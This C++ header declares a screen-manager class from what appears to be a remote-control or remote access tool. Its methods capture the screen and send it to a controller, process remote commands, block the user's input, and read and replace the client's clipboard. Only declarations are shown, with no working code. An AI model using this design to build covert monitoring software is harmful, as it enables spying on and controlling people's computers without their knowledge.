// ScreenManager.h: interface for the CScreenManager class. // ////////////////////////////////////////////////////////////////////// #if !defined(AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_) #define AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_ #if _MSC_VER > 1000 #pragma once #endif // _MSC_VER > 1000 #include "Manager.h" #include "ScreenSpy.h" class IOCPClient; class CScreenManager : public CManager { public: CScreenManager(IOCPClient* ClientObject, int n); virtual ~CScreenManager(); HANDLE m_hWorkThread; static DWORD WINAPI WorkThreadProc(LPVOID lParam); VOID SendBitMapInfo(); VOID OnReceive(PBYTE szBuffer, ULONG ulLength); CScreenSpy* m_ScreenSpyObject; VOID SendFirstScreen(); const char* GetNextScreen(ULONG &ulNextSendLength); VOID SendNextScreen(const char* szBuffer, ULONG ulNextSendLength); VOID ProcessCommand(LPBYTE szBuffer, ULONG ulLength); BOOL m_bIsWorking; BOOL m_bIsBlockInput; VOID SendClientClipboard(); VOID UpdateClientClipboard(char *szBuffer, ULONG ulLength); }; #endif // !defined(AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_)